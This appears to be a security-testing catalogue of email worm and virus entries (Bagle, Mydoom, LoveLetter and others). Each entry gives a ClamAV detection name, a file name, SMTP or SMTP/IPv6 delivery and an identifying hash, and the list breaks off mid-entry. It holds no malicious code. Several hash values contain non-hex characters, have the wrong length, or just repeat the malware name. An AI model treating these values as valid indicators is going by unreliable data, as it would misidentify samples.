Detailed Description:	This is the email virus Email-Worm.Win32.VB.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AB.06e4cfd3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.AB (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.AB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e4cfd33f5ed9af43fe012c759bda60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.o.o.9c9070bb_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.o.o (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.o.o as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.o.o. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.d0f67ff1.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0f67ff1898780ef41fbc44f23b1529f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Serotin.ec1f91fc.xml
Executive Description:	Email Virus Worm.Serotin
Detailed Description:	This is the email virus Worm.Serotin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec1f91fc7b2531d727145fae29f461f4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.feb481a8_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: feb481a8d4330c549512b27bd99f8ed2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.I.0f00a007_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0f00a0070e21ae0915dd79eafd42b975. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.d.exe.582da284_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.d.exe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.d.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.d.exe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.a.a.0d969225_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nyxem.A.dfe59f12_IPv6.xml
Executive Description:	Email Virus Worm.Nyxem.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nyxem.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dfe59f129c800c2d343d23a2d7f0e596. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Spthgen.A.7c59b4e9.xml
Executive Description:	Email Virus JS.Spthgen.A
Detailed Description:	This is the email virus JS.Spthgen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7c59b4e93294bdf4db3038fb78104d9f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.B.4dbb3847.xml
Executive Description:	Email Virus VBS.Entice.B
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dbb3847fce7f01e8f23e10d9a47f669. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.38a35577.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38a355773bba0446d5a7b1b4f3d0964e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Mantan.man.74c989a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Mantan.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Mantan.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Mantan.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Granil.gra.1e0e08a2.xml
Executive Description:	Email Virus Email-Worm.VBS.Granil.gra
Detailed Description:	This is the email virus Email-Worm.VBS.Granil.gra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Granil.gra. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.87812683_IPv6.xml
Executive Description:	Email Virus Worm.Vote (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vote as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 878126839b33ed82f8826ae5fdece0a0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.01505ec7.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01505ec7edcee9518aa937d7bcl3a3d2b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.C4.2b125d4f_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.C4 (IPv6 Version)

Detailed Description:	This is the email virus VBS.PicaWorm.C4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b125d4f86703c1cf41d318e29379cb6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.31b83200.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 31b83200339c7640acfe5dbe054ac122. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Logex.log.d54f0bf7.xml
Executive Description:	Email Virus Email-Worm.Win32.Logex.log
Detailed Description:	This is the email virus Email-Worm.Win32.Logex.log as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Logex.log. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.a4bdb731_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4bdb731e91flc4e96a4b261f580b7a3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.e64a7392.xml
Executive Description:	Email Virus Worm.Quocus
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64a7392204d070e022bcec825489519. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fintas.D.69ab5282_IPv6.xml
Executive Description:	Email Virus Worm.Fintas.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fintas.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 69ab528253a22943fa2ce4be5fdfeeab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.dra.3d0ac91a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.dra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.dra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.PrettyPark.28fa84c8.xml
Executive Description:	Email Virus W32.PrettyPark
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28fa84c8e0799a79814d275f91b086b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.aaee15d_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aaee15da272643320997428b64a00e7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Taripox.b.b.a2243e18.xml
Executive Description:	Email Virus Email-Worm.Win32.Taripox.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Taripox.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Taripox.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.4613a17f_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4613a17f12531d21c683023ffa4b4a34. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.HelOOn.A.8829ab0a_IPv6.xml

Executive Description:	Email Virus BAT.HelOOn.A (IPv6 Version)
Detailed Description:	This is the email virus BAT.HelOOn.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8829ab0a6831e990a53a905799417d10. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Hoko.faa0aad3.xml
Executive Description:	Email Virus W32.Worm.Hoko
Detailed Description:	This is the email virus W32.Worm.Hoko as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: faa0aad3acdac227d73e7e7f7cf61b87. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Without.E.c8ebbde8.xml
Executive Description:	Email Virus Worm.Without.E
Detailed Description:	This is the email virus Worm.Without.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8ebbde8ce140adb076251035293e01e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Ypsan.a.4bb94fc8.xml
Executive Description:	Email Virus Worm.Ypsan.a
Detailed Description:	This is the email virus Worm.Ypsan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bb94fc855ef86f92f8812bf726599cd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-34.8561d3f2_IPv6.xml
Executive Description:	Email Virus Trojan.Killav-34 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Killav-34 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8561d3f2c7c7d156f93965c9984cd919. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yever.a.a.ca63f7dd.xml
Executive Description:	Email Virus Email-Worm.Win32.Yever.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Yever.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yever.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bajar.C.9a403d20_IPv6.xml
Executive Description:	Email Virus Worm.Bajar.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bajar.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a403d2004ca4d23860c0b248fd2191a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Verocha.66b1b149.xml
Executive Description:	Email Virus Worm.Verocha
Detailed Description:	This is the email virus Worm.Verocha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66b1b1494988232bd3c2aelf6067161e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nohoper.A.8c067312_IPv6.xml
Executive Description:	Email Virus Worm.Nohoper.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nohoper.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8c06731243d8cca5fbee4285693ed837. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bajar.B.36d2683e_IPv6.xml
Executive Description:	Email Virus Worm.Bajar.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bajar.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d2683e3a2bed2cdd3a20bfff0efbe7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.6be9c2b7.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6be9c2b76f58aa75722cdb7dfe2aabf9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Liberte.c2eba4b8_IPv6.xml
Executive Description:	Email Virus Worm.Liberte (IPv6 Version)
Detailed Description:	This is the email virus Worm.Liberte as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c2eba4b847667aff3d176elf5e310791. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bumdoc.1.8fd4eeb1_IPv6.xml
Executive Description:	Email Virus Worm.Bumdoc.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bumdoc.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fd4eeb1a78f03ccc7657f78c93029f2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Yama.B.05f78466_IPv6.xml
Executive Description:	Email Virus JS.Yama.B (IPv6 Version)
Detailed Description:	This is the email virus JS.Yama.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05f784668b2143abb25137ef8c84c55d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Trood.47d1f48a.xml
Executive Description:	Email Virus Worm.Trood
Detailed Description:	This is the email virus Worm.Trood as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47d1f48a127736e63aad709ddc9d81d0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.C.20a6688e.xml
Executive Description:	Email Virus Worm.VBS.Pahi.C
Detailed Description:	This is the email virus Worm.VBS.Pahi.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20a6688ed7cf35334d5b28e51ca7a470. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.b.b.7629f68e.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.C.3d95b8ad_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d95b8addf409585be964c28e65499b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Breberka.77f8c8b1_IPv6.xml
Executive Description:	Email Virus Worm.Breberka (IPv6 Version)
Detailed Description:	This is the email virus Worm.Breberka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77f8c8b15c2e1811d5068d9f1c4857cc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Suppl.sup.ac725bab.xml
Executive Description:	Email Virus Email-Worm.Win32.Suppl.sup
Detailed Description:	This is the email virus Email-Worm.Win32.Suppl.sup as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Suppl.sup. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BI.aef7e1c1_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BI (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aef7e1c107b9b6a2be956130907adc53. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BugBear.B.c5592458.xml
Executive Description:	Email Virus Worm.BugBear.B
Detailed Description:	This is the email virus Worm.BugBear.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c559245877a6211e15d2d7eecbb97f14. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W95.Matrix.SCR.606f4355.xml
Executive Description:	Email Virus W95.Matrix.SCR
Detailed Description:	This is the email virus W95.Matrix.SCR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 606f435504542cd18aa4612ca9a96cd2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4f065ad4_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f065ad4f872bb1d5380399e95915ae5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Aleat.3.4b578d00.xml
Executive Description:	Email Virus Worm.Aleat.3
Detailed Description:	This is the email virus Worm.Aleat.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4b578d00890e1198c6b622202f664ff6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.c09b69a2.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c09b69a29532fdb3c83dad697ae00f4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.b4ccellf.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4ccellf5a33a9d3bf623a08f44cd355. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Qoma.B.b4d5eb74.xml
Executive Description:	Email Virus Worm.Qoma.B
Detailed Description:	This is the email virus Worm.Qoma.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4d5eb74528d3736b16b0b47a50da063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.e0099a41_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e0099a4194ab9f8ffbbc982a966dbf8d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.b.b.975019a2.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.b.b
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.6f1214c6_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f1214c65da19a5b189cd37cbc2417e9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Clown.a.702524dd_IPv6.xml
Executive Description:	Email Virus Worm.Clown.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 702524dde7aaed1f063414f7aa020ad7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.9890349f_IPv6.xml
Executive Description:	Email Virus W32.Magistr.A (IPv6 Version)
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9890349fe3c68f5923b29347bba021a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.a.a.8a636888.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.VB.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.PrettyPark.f7d91ea8.xml
Executive Description:	Email Virus W32.PrettyPark
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7d91ea83309acb300676c02e6c875cb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.ecafc7fa.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecafc7fa4592920ca0948de98493a758. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.8ec48842_IPv6.xml
Executive Description:	Email Virus Worm.Merlin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ec48842fe9c44557f7eb9f545237064. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.eab0f022_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eab0f0225e152a61b7a83a47b2f620ae. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sucon.b.756f4c0e.xml
Executive Description:	Email Virus Worm.Sucon.b
Detailed Description:	This is the email virus Worm.Sucon.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 756f4c0eae76977a30e94989901f8aa7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bridex.b.b.7bfc3642.xml
Executive Description:	Email Virus Email-Worm.Win32.Bridex.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Bridex.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bridex.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stator.b.b.7481b1a2.xml
Executive Description:	Email Virus Email-Worm.Win32.Stator.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Stator.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stator.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Chet.a.a.db7b0b9e.xml
Executive Description:	Email Virus Email-Worm.Win32.Chet.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Chet.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Chet.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.B.50611798.xml
Executive Description:	Email Virus Worm.Lohack.B
Detailed Description:	This is the email virus Worm.Lohack.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5061179881266f9b47d2elf6ca96a647. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.a3730f2b.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3730f2bb51e107ae8081ff7c15a8444. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.GMetaphase.6clcfe55.xml
Executive Description:	Email Virus W32.GMetaphase
Detailed Description:	This is the email virus W32.GMetaphase as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6clcfe55c4c26fcfb83e2dcbb9a42e89. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.e.e.2fee0483.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.e.e
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.F.a9cf6301_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9cf630193c5d29b1238a98e68f25ba3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.6dc98b4d_IPv6.xml
Executive Description:	Email Virus Worm.Funny (IPv6 Version)
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dc98b4d0e7d987c0dfd3f5e7ca530b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.484e156c_IPv6.xml
Executive Description:	Email Virus Worm.Choke.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 484e156cb34961ec3d17b130ed805c05. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MsWorld.msw.7bd8a009_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.MsWorld.msw (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.MsWorld.msw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MsWorld.msw. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Microyano.c1e96ael_IPv6.xml
Executive Description:	Email Virus Worm.Microyano (IPv6 Version)
